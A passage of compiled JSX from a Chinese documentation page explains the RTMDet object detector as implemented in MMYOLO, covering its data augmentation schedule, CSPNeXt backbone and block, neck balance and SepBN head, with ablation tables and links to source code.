",(0,l.jsx)(n.a,{href:"/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/AI/PyTorch/%E7%AC%AC%E5%8D%81%E7%AB%A0/YOLO%E7%B3%BB%E5%88%97%E8%A7%A3%E8%AF%BB/MMYOLO%E5%AE%9E%E7%8E%B0/yolov5_description",children:"YOLOv5 \u539f\u7406\u548c\u5b9e\u73b0\u5168\u89e3\u6790"})," \u4e2d\u7684 MixUp \u539f\u7406\u5206\u6790\u3002"]}),"\n",(0,l.jsx)(n.h4,{id:"114-\u5f3a\u5f31\u4e24\u9636\u6bb5\u8bad\u7ec3",children:"1.1.4 \u5f3a\u5f31\u4e24\u9636\u6bb5\u8bad\u7ec3"}),"\n",(0,l.jsx)(n.p,{children:"Mosaic+MixUp \u5931\u771f\u5ea6\u6bd4\u8f83\u9ad8\uff0c\u6301\u7eed\u7528\u592a\u5f3a\u7684\u6570\u636e\u589e\u5f3a\u5bf9\u6a21\u578b\u5e76\u4e0d\u4e00\u5b9a\u6709\u76ca\u3002YOLOX \u4e2d\u7387\u5148\u4f7f\u7528\u4e86\u5f3a\u5f31\u4e24\u9636\u6bb5\u7684\u8bad\u5ddd\u7ec3\u65b9\u5f0f\uff0c\u4f46\u7531\u4e8e\u5f15\u5165\u4e86\u65cb\u8f6c\uff0c\u5207\u7247\u5bfc\u81f4 box \u6807\u6ce8\u4ea7\u751f\u8bef\u5dee\uff0c\u9700\u8981\u5728\u7b2c\u4e8c\u9636\u6bb5\u5f15\u5165\u989d\u5916\u7684 L1oss \u6765\u7ea0\u6b63\u56de\u5f52\u5206\u652f\u7684\u6027\u80fd\u3002"}),"\n",(0,l.jsx)(n.p,{children:"\u4e3a\u4e86\u4f7f\u6570\u636e\u589e\u5f3a\u7684\u65b9\u5f0f\u66f4\u4e3a\u901a\u7528\uff0cRTMDet \u5728\u524d 280 epoch \u4f7f\u7528\u4e0d\u5e26\u65cb\u8f6c\u7684 Mosaic+MixUp, \u4e14\u901a\u8fc7\u6df7\u5165 8 \u5f20\u56fe\u7247\u6765\u63d0\u5347\u5f3a\u5ea6\u4ee5\u53ca\u6b63\u6837\u672c\u6570\u3002\u540e 20 epoch \u4f7f\u7528\u6bd4\u8f83\u5c0f\u7684\u5b66\u4e60\u7387\u5728\u6bd4\u8f83\u5f31\u7684\u589e\u5f3a\u4e0b\u8fdb\u884c\u5fae\u8c03\uff0c\u540c\u65f6\u5728 EMA \u7684\u4f5c\u7528\u4e0b\u5c06\u53c2\u6570\u7f13\u6162\u66f4\u65b0\u81f3\u6a21\u578b\uff0c\u80fd\u591f\u5f97\u5230\u6bd4\u8f83\u5927\u7684\u63d0\u5347\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{}),(0,l.jsx)(n.th,{children:"RTMDet-s"}),(0,l.jsx)(n.th,{children:"RTMDet-l"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"LSJ + rand crop"}),(0,l.jsx)(n.td,{children:"42.3"}),(0,l.jsx)(n.td,{children:"46.7"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Mosaic+MixUp"}),(0,l.jsx)(n.td,{children:"41.9"}),(0,l.jsx)(n.td,{children:"49.8"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Mosaic + MixUp + 20e finetune"}),(0,l.jsx)(n.td,{children:"43.9"}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"51.3"})})]})]})]}),"\n",(0,l.jsx)(n.h3,{id:"12-\u6a21\u578b\u7ed3\u6784",children:"1.2 \u6a21\u578b\u7ed3\u6784"}),"\n",(0,l.jsxs)(n.p,{children:["RTMDet \u6a21\u578b\u6574\u4f53\u7ed3\u6784\u548c ",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/2107.08430",children:"YOLOX"})," \u51e0\u4e4e\u4e00\u81f4\uff0c\u7531 ",(0,l.jsx)(n.code,{children:"CSPNeXt"})," + ",(0,l.jsx)(n.code,{children:"CSPNeXtPAFPN"})," + ",(0,l.jsx)(n.code,{children:"\u5171\u4eab\u5377\u79ef\u6743\u91cd\u4f46\u5206\u522b\u8ba1\u7b97 BN \u7684 SepBNHead"})," \u6784\u6210\u3002\u5185\u90e8\u6838\u5fc3\u6a21\u5757\u4e5f\u662f ",(0,l.jsx)(n.code,{children:"CSPLayer"}),"\uff0c\u4f46\u5bf9\u5176\u4e2d\u7684 ",(0,l.jsx)(n.code,{children:"Basic Block"})," \u8fdb\u884c\u4e86\u6539\u8fdb\uff0c\u63d0\u51fa\u4e86 ",(0,l.jsx)(n.code,{children:"CSPNeXt Block"}),"\u3002"]}),"\n",(0,l.jsx)(n.h4,{id:"121-backbone",children:"1.2.1 Backbone"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"CSPNeXt"})," \u6574\u4f53\u4ee5 ",(0,l.jsx)(n.code,{children:"CSPDarknet"})," \u4e3a\u57fa\u7840\uff0c\u5171 5 \u5c42\u7ed3\u6784\uff0c\u5305\u542b 1 \u4e2a ",(0,l.jsx)(n.code,{children:"Stem Layer"})," \u548c 4 \u4e2a ",(0,l.jsx)(n.code,{children:"Stage Layer"}),"\uff1a"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"Stem Layer"})," \u662f 3 \u5c42 3x3 kernel \u7684 ",(0,l.jsx)(n.code,{children:"ConvModule"})," \uff0c\u4e0d\u540c\u4e8e\u4e4b\u524d\u7684 ",(0,l.jsx)(n.code,{children:"Focus"})," \u6a21\u5757\u6216\u8005 1 \u5c42 6x6 kernel \u7684 ",(0,l.jsx)(n.code,{children:"ConvModule"})," \u3002"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"Stage Layer"})," \u603b\u4f53\u7ed3\u6784\u4e0e\u5df2\u6709\u6a21\u578b\u7c7b\u4f3c\uff0c\u524d 3 \u4e2a ",(0,l.jsx)(n.code,{children:"Stage Layer"})," \u7531 1 \u4e2a ",(0,l.jsx)(n.code,{children:"ConvModule"})," \u548c 1 \u4e2a ",(0,l.jsx)(n.code,{children:"CSPLayer"})," \u7ec4\u6210\u3002\u7b2c 4 \u4e2a ",(0,l.jsx)(n.code,{children:"Stage Layer"})," \u5728 ",(0,l.jsx)(n.code,{children:"ConvModule"})," \u548c ",(0,l.jsx)(n.code,{children:"CSPLayer"})," \u4e2d\u95f4\u589e\u52a0\u4e86 ",(0,l.jsx)(n.code,{children:"SPPF"})," \u6a21\u5757\uff08MMDetection \u7248\u672c\u4e3a ",(0,l.jsx)(n.code,{children:"SPP"})," \u6a21\u5757\uff09\u3002"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:["\u5982\u6a21\u578b\u56fe Details \u90e8\u5206\u6240\u793a\uff0c",(0,l.jsx)(n.code,{children:"CSPLayer"})," \u7531 3 \u4e2a ",(0,l.jsx)(n.code,{children:"ConvModule"})," + n \u4e2a ",(0,l.jsx)(n.code,{children:"CSPNeXt Block"}),"(\u5e26\u6b8b\u5dee\u8fde\u63a5) + 1 \u4e2a ",(0,l.jsx)(n.code,{children:"Channel Attention"})," \u6a21\u5757\u7ec4\u6210\u3002",(0,l.jsx)(n.code,{children:"ConvModule"})," \u4e3a 1 \u5c42 3x3 ",(0,l.jsx)(n.code,{children:"Conv2d"})," + ",(0,l.jsx)(n.code,{children:"BatchNorm"})," + ",(0,l.jsx)(n.code,{children:"SiLU"})," \u6fc0\u6d3b\u51fd\u6570\u3002",(0,l.jsx)(n.code,{children:"Channel Attention"})," \u6a21\u5757\u4e3a 1 \u5c42 ",(0,l.jsx)(n.code,{children:"AdaptiveAvgPool2d"})," + 1 \u5c42 1x1 ",(0,l.jsx)(n.code,{children:"Conv2d"})," + ",(0,l.jsx)(n.code,{children:"Hardsigmoid"})," \u6fc0\u6d3b\u51fd\u6570\u3002",(0,l.jsx)(n.code,{children:"CSPNeXt Block"})," \u6a21\u5757\u5728\u4e0b\u8282\u8be6\u7ec6\u8bb2\u8ff0\u3002"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c\u60f3\u9605\u8bfb Backbone - ",(0,l.jsx)(n.code,{children:"CSPNeXt"})," \u7684\u6e90\u7801\uff0c\u53ef\u4ee5 ",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/blob/main/mmyolo/models/backbones/cspnext.py#L16-L171",children:(0,l.jsx)(n.strong,{children:"\u70b9\u6b64"})})," \u8df3\u8f6c\u3002"]}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.h4,{id:"122-cspnext-block",children:"1.2.2 CSPNeXt Block"}),"\n",(0,l.jsxs)(n.p,{children:["Darknet \uff08\u56fe a\uff09\u4f7f\u7528 1x1 \u4e0e 3x3 \u5377\u79ef\u7684 ",(0,l.jsx)(n.code,{children:"Basic Block"}),"\u3002",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/2209.02976",children:"YOLOv6"})," \u3001",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/2207.02696",children:"YOLOv7"})," \u3001",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/2203.16250",children:"PPYOLO-E"})," \uff08\u56fe b & c\uff09\u4f7f\u7528\u4e86\u91cd\u53c2\u6570\u5316 Block\u3002\u4f46\u91cd\u53c2\u6570\u5316\u7684\u8bad\u7ec3\u4ee3\u4ef7\u9ad8\uff0c\u4e14\u4e0d\u6613\u91cf\u5316\uff0c\u9700\u8981\u5176\u4ed6\u65b9\u5f0f\u6765\u5f25\u8865\u91cf\u5316\u8bef\u5dee\u3002\nRTMDet \u5219\u501f\u9274\u4e86\u6700\u8fd1\u6bd4\u8f83\u70ed\u95e8\u7684 ",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/2201.03545",children:"ConvNeXt"})," \u3001",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/2203.06717",children:"RepLKNet"})," \u7684\u505a\u6cd5\uff0c\u4e3a ",(0,l.jsx)(n.code,{children:"Basic Block"})," \u52a0\u5165\u4e86\u5927 kernel \u7684 ",(0,l.jsx)(n.code,{children:"depth-wise"})," \u5377\u79ef\uff08\u56fe d\uff09\uff0c\u5e76\u5c06\u5176\u547d\u540d\u4e3a ",(0,l.jsx)(n.code,{children:"CSPNeXt Block"}),"\u3002"]}),"\n",(0,l.jsxs)(n.div,{align:"center",children:["\n",(0,l.jsx)(n.img,{alt:"BasicBlock",src:"https://user-images.githubusercontent.com/27466624/192752976-4c20f944-1ef0-4746-892e-ba814cdcda20.png"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u5173\u4e8e\u4e0d\u540c kernel \u5927\u5c0f\u7684\u5b9e\u9a8c\u7ed3\u679c\uff0c\u5982\u4e0b\u8868\u6240\u793a\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{children:"Kernel size"}),(0,l.jsx)(n.th,{children:"params"}),(0,l.jsx)(n.th,{children:"flops"}),(0,l.jsx)(n.th,{children:"latency-bs1-TRT-FP16 / ms"}),(0,l.jsx)(n.th,{children:"mAP"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"3x3"}),(0,l.jsx)(n.td,{children:"50.8"}),(0,l.jsx)(n.td,{children:"79.61G"}),(0,l.jsx)(n.td,{children:"2.1"}),(0,l.jsx)(n.td,{children:"50.0"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"5x5"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"50.92M"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"79.7G"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"2.11"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"50.9"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"7x7"}),(0,l.jsx)(n.td,{children:"51.1"}),(0,l.jsx)(n.td,{children:"80.34G"}),(0,l.jsx)(n.td,{children:"2.73"}),(0,l.jsx)(n.td,{children:"51.1"})]})]})]}),"\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c\u60f3\u9605\u8bfb ",(0,l.jsx)(n.code,{children:"Basic Block"})," \u548c ",(0,l.jsx)(n.code,{children:"CSPNeXt Block"})," \u6e90\u7801\uff0c\u53ef\u4ee5",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmdetection/blob/3.x/mmdet/models/layers/csp_layer.py#L79-L146",children:(0,l.jsx)(n.strong,{children:"\u70b9\u6b64"})}),"\u8df3\u8f6c\u3002"]}),"\n",(0,l.jsx)(n.h4,{id:"123-\u8c03\u6574\u68c0\u6d4b\u5668\u4e0d\u540c-stage-\u95f4\u7684-block-\u6570",children:"1.2.3 \u8c03\u6574\u68c0\u6d4b\u5668\u4e0d\u540c stage \u95f4\u7684 block \u6570"}),"\n",(0,l.jsxs)(n.p,{children:["\u7531\u4e8e ",(0,l.jsx)(n.code,{children:"CSPNeXt Block"})," \u5185\u4f7f\u7528\u4e86 ",(0,l.jsx)(n.code,{children:"depth-wise"})," \u5377\u79ef\uff0c\u5355\u4e2a block \u5185\u7684\u5c42\u6570\u589e\u591a\u3002\u5982\u679c\u4fdd\u6301\u539f\u6709\u7684 stage \u5185\u7684 block \u6570\uff0c\u5219\u4f1a\u5bfc\u81f4\u6a21\u578b\u7684\u63a8\u7406\u901f\u5ea6\u5927\u5e45\u964d\u4f4e\u3002"]}),"\n",(0,l.jsx)(n.p,{children:"RTMDet \u91cd\u65b0\u8c03\u6574\u4e86\u4e0d\u540c stage \u95f4\u7684 block \u6570\uff0c\u5e76\u8c03\u6574\u4e86\u901a\u9053\u7684\u8d85\u53c2\uff0c\u5728\u4fdd\u8bc1\u4e86\u7cbe\u5ea6\u7684\u60c5\u51b5\u4e0b\u63d0\u5347\u4e86\u63a8\u7406\u901f\u5ea6\u3002"}),"\n",(0,l.jsx)(n.p,{children:"\u5173\u4e8e\u4e0d\u540c block \u6570\u7684\u5b9e\u9a8c\u7ed3\u679c\uff0c\u5982\u4e0b\u8868\u6240\u793a\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{children:"Num blocks"}),(0,l.jsx)(n.th,{children:"params"}),(0,l.jsx)(n.th,{children:"flops"}),(0,l.jsx)(n.th,{children:"latency-bs1-TRT-FP16 / ms"}),(0,l.jsx)(n.th,{children:"mAP"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"L+3-9-9-3"}),(0,l.jsx)(n.td,{children:"53.4"}),(0,l.jsx)(n.td,{children:"86.28"}),(0,l.jsx)(n.td,{children:"2.6"}),(0,l.jsx)(n.td,{children:"51.4"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"L+3-6-6-3"}),(0,l.jsx)(n.td,{children:"50.92M"}),(0,l.jsx)(n.td,{children:"79.7G"}),(0,l.jsx)(n.td,{children:"2.11"}),(0,l.jsx)(n.td,{children:"50.9"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"L+3-6-6-3 + channel attention"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"52.3M"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"79.9G"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"2.4"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"51.3"})})]})]})]}),"\n",(0,l.jsxs)(n.p,{children:["\u6700\u540e\u4e0d\u540c\u5927\u5c0f\u6a21\u578b\u7684 block \u6570\u8bbe\u7f6e\uff0c\u53ef\u4ee5\u53c2\u89c1",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/blob/main/mmyolo/models/backbones/cspnext.py#L50-L56",children:"\u6e90\u7801"})," \u3002"]}),"\n",(0,l.jsx)(n.h4,{id:"124-neck",children:"1.2.4 Neck"}),"\n",(0,l.jsx)(n.p,{children:"Neck \u6a21\u578b\u7ed3\u6784\u548c YOLOX \u51e0\u4e4e\u4e00\u6837\uff0c\u53ea\u4e0d\u8fc7\u5185\u90e8\u7684 block \u8fdb\u884c\u4e86\u66ff\u6362\u3002"}),"\n",(0,l.jsx)(n.h4,{id:"125-backbone-\u4e0e-neck-\u4e4b\u95f4\u7684\u53c2\u6570\u91cf\u548c\u8ba1\u7b97\u91cf\u7684\u5747\u8861",children:"1.2.5 Backbone \u4e0e Neck \u4e4b\u95f4\u7684\u53c2\u6570\u91cf\u548c\u8ba1\u7b97\u91cf\u7684\u5747\u8861"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/1911.09070",children:"EfficientDet"})," \u3001",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/1904.07392",children:"NASFPN"})," \u7b49\u5de5\u4f5c\u5728\u6539\u8fdb Neck \u65f6\u5f80\u5f80\u805a\u7126\u4e8e\u5982\u4f55\u4fee\u6539\u7279\u5f81\u878d\u5408\u7684\u65b9\u5f0f\u3002 \u4f46\u5f15\u5165\u8fc7\u591a\u7684\u8fde\u63a5\u4f1a\u589e\u52a0\u68c0\u6d4b\u5668\u7684\u5ef6\u65f6\uff0c\u5e76\u589e\u52a0\u5185\u5b58\u5f00\u9500\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u6240\u4ee5 RTMDet \u9009\u62e9\u4e0d\u5f15\u5165\u989d\u5916\u7684\u8fde\u63a5\uff0c\u800c\u662f\u6539\u53d8 Backbone \u4e0e Neck \u95f4\u53c2\u6570\u91cf\u7684\u914d\u6bd4\u3002\u8be5\u914d\u6bd4\u662f\u901a\u8fc7\u624b\u52a8\u8c03\u6574 Backbone \u548c Neck \u7684 ",(0,l.jsx)(n.code,{children:"expand_ratio"})," \u53c2\u6570\u6765\u5b9e\u73b0\u7684\uff0c\u5176\u6570\u503c\u5728 Backbone \u548c Neck \u4e2d\u90fd\u4e3a 0.5\u3002",(0,l.jsx)(n.code,{children:"expand_ratio"})," \u5b9e\u9645\u4e0a\u662f\u6539\u53d8 ",(0,l.jsx)(n.code,{children:"CSPLayer"})," \u4e2d\u5404\u5c42\u901a\u9053\u6570\u7684\u53c2\u6570\uff08\u5177\u4f53\u53ef\u89c1\u6a21\u578b\u56fe ",(0,l.jsx)(n.code,{children:"CSPLayer"})," \u90e8\u5206\uff09\u3002\u5982\u679c\u60f3\u8fdb\u884c\u4e0d\u540c\u914d\u6bd4\u7684\u5b9e\u9a8c\uff0c\u53ef\u4ee5\u901a\u8fc7\u8c03\u6574\u914d\u7f6e\u6587\u4ef6\u4e2d\u7684 ",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/blob/main/configs/rtmdet/rtmdet_l_8xb32-300e_coco.py#L32",children:"backbone {expand_ratio}"})," \u548c ",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/blob/main/configs/rtmdet/rtmdet_l_8xb32-300e_coco.py#L45",children:"neck {expand_ratio}"})," \u53c2\u6570\u5b8c\u6210\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u5b9e\u9a8c\u53d1\u73b0\uff0c\u5f53 Neck \u5728\u6574\u4e2a\u6a21\u578b\u4e2d\u7684\u53c2\u6570\u91cf\u5360\u6bd4\u66f4\u9ad8\u65f6\uff0c\u5ef6\u65f6\u66f4\u4f4e\uff0c\u4e14\u5bf9\u7cbe\u5ea6\u7684\u5f71\u54cd\u5f88\u5c0f\u3002\u4f5c\u8005\u5728\u76f4\u64ad\u7b54\u7591\u65f6\u56de\u590d\uff0cRTMDet \u5728 Neck \u8fd9\u4e00\u90e8\u5206\u7684\u5b9e\u9a8c\u53c2\u8003\u4e86 ",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/2202.04256",children:"GiraffeDet"})," \u7684\u505a\u6cd5\uff0c\u4f46\u6ca1\u6709\u50cf GiraffeDet \u4e00\u6837\u5f15\u5165\u989d\u5916\u8fde\u63a5\uff08\u8be6\u7ec6\u53ef\u53c2\u89c1 ",(0,l.jsx)(n.a,{href:"https://www.bilibili.com/video/BV1e841147GD",children:"RTMDet \u53d1\u5e03\u89c6\u9891"})," 31\u520640\u79d2\u5de6\u53f3\u7684\u5185\u5bb9\uff09\u3002"]}),"\n",(0,l.jsx)(n.p,{children:"\u5173\u4e8e\u4e0d\u540c\u53c2\u6570\u91cf\u914d\u6bd4\u7684\u5b9e\u9a8c\u7ed3\u679c\uff0c\u5982\u4e0b\u8868\u6240\u793a\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{children:"Model size"}),(0,l.jsx)(n.th,{children:"Backbone"}),(0,l.jsx)(n.th,{children:"Neck"}),(0,l.jsx)(n.th,{children:"params"}),(0,l.jsx)(n.th,{children:"flops"}),(0,l.jsx)(n.th,{children:"latency / ms"}),(0,l.jsx)(n.th,{children:"mAP"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"S"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"47%"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"45%"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"8.54M"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"15.76G"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"1.21"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"43.9"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"S"}),(0,l.jsx)(n.td,{children:"63%"}),(0,l.jsx)(n.td,{children:"29%"}),(0,l.jsx)(n.td,{children:"9.01M"}),(0,l.jsx)(n.td,{children:"15.85G"}),(0,l.jsx)(n.td,{children:"1.37"}),(0,l.jsx)(n.td,{children:"43.7"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"L"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"47%"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"45%"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"50.92M"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"79.7G"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"2.11"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"50.9"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"L"}),(0,l.jsx)(n.td,{children:"63%"}),(0,l.jsx)(n.td,{children:"29%"}),(0,l.jsx)(n.td,{children:"57.43M"}),(0,l.jsx)(n.td,{children:"93.73"}),(0,l.jsx)(n.td,{children:"2.57"}),(0,l.jsx)(n.td,{children:"51.0"})]})]})]}),"\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c\u60f3\u9605\u8bfb Neck - ",(0,l.jsx)(n.code,{children:"CSPNeXtPAFPN"})," \u7684\u6e90\u7801\uff0c\u53ef\u4ee5",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/blob/main/mmyolo/models/necks/cspnext_pafpn.py#L15-L201",children:(0,l.jsx)(n.strong,{children:"\u70b9\u6b64"})})," \u8df3\u8f6c\u3002"]}),"\n",(0,l.jsx)(n.h4,{id:"126-head",children:"1.2.6 Head"}),"\n",(0,l.jsxs)(n.p,{children:["\u4f20\u7edf\u7684 YOLO \u7cfb\u5217\u90fd\u4f7f\u7528\u540c\u4e00 Head \u8fdb\u884c\u5206\u7c7b\u548c\u56de\u5f52\u3002YOLOX \u5219\u5c06\u5206\u7c7b\u548c\u56de\u5f52\u5206\u652f\u89e3\u8026\uff0cPPYOLO-E \u548c YOLOv6 \u5219\u5f15\u5165\u4e86 ",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/2108.07755",children:"TOOD"})," \u4e2d\u7684\u7ed3\u6784\u3002\u5b83\u4eec\u5728\u4e0d\u540c\u7279\u5f81\u5c42\u7ea7\u4e4b\u95f4\u90fd\u4f7f\u7528\u72ec\u7acb\u7684 Head\uff0c\u56e0\u6b64 Head \u5728\u6a21\u578b\u4e2d\u4e5f\u5360\u6709\u8f83\u591a\u7684\u53c2\u6570\u91cf\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["RTMDet \u53c2\u8003\u4e86 ",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/1904.07392",children:"NAS-FPN"})," \u4e2d\u7684\u505a\u6cd5\uff0c\u4f7f\u7528\u4e86 ",(0,l.jsx)(n.code,{children:"SepBNHead"}),"\uff0c\u5728\u4e0d\u540c\u5c42\u4e4b\u95f4\u5171\u4eab\u5377\u79ef\u6743\u91cd\uff0c\u4f46\u662f\u72ec\u7acb\u8ba1\u7b97 BN\uff08BatchNorm\uff09 \u7684\u7edf\u8ba1\u91cf\u3002"]}),"\n",(0,l.jsx)(n.p,{children:"\u5173\u4e8e\u4e0d\u540c\u7ed3\u6784 Head \u7684\u5b9e\u9a8c\u7ed3\u679c\uff0c\u5982\u4e0b\u8868\u6240\u793a\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{children:"Head type"}),(0,l.jsx)(n.th,{children:"params"}),(0,l.jsx)(n.th,{children:"flops"}),(0,l.jsx)(n.th,{children:"latency / ms"}),(0,l.jsx)(n.th,{children:"mAP"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Fully-shared head"}),(0,l.jsx)(n.td,{children:"52.32"}),(0,l.jsx)(n.td,{children:"80.23"}),(0,l.jsx)(n.td,{children:"2.44"}),(0,l.jsx)(n.td,{children:"48.0"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Separated head"}),(0,l.jsx)(n.td,{children:"57.03"}),(0,l.jsx)(n.td,{children:"80.23"}),(0,l.jsx)(n.td,{children:"2.44"}),(0,l.jsx)(n.td,{children:"51.2"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsxs)(n.td,{children:[(0,l.jsx)(n.strong,{children:"SepBN"})," ",(0,l.jsx)(n.strong,{children:"head"})]}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"52.32"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"80.23"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"2.44"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"51.3"})})]})]})]}),"\n",(0,l.jsxs)(n.p,{children:["\u540c\u65f6\uff0cRTMDet \u4e5f\u5ef6\u7eed\u4e86\u4f5c\u8005\u4e4b\u524d\u5728 ",(0,l.jsx)(n.a,{href:"https://zhuanlan.zhihu.com/p/306530300",children:"NanoDet"})," \u4e2d\u7684\u601d\u60f3\uff0c\u4f7f\u7528 ",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/2011.12885",children:"Quality Focal Loss"})," \uff0c\u5e76\u53bb\u6389 Objectness \u5206\u652f\uff0c\u8fdb\u4e00\u6b65\u5c06 Head \u8f7b\u91cf\u5316\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c\u60f3\u9605\u8bfb Head \u4e2d ",(0,l.jsx)(n.code,{children:"RTMDetSepBNHeadModule"})," \u7684\u6e90\u7801\uff0c\u53ef\u4ee5",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/blob/main/mmyolo/models/dense_heads/rtmdet_head.py#L24-L189",children:(0,l.jsx)(n.strong,{children:"\u70b9\u6b64"})})," \u8df3\u8f6c\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-{note}",children:"\u6ce8\uff1aMMYOLO \u548c MMDetection \u4e2d Neck \u548c 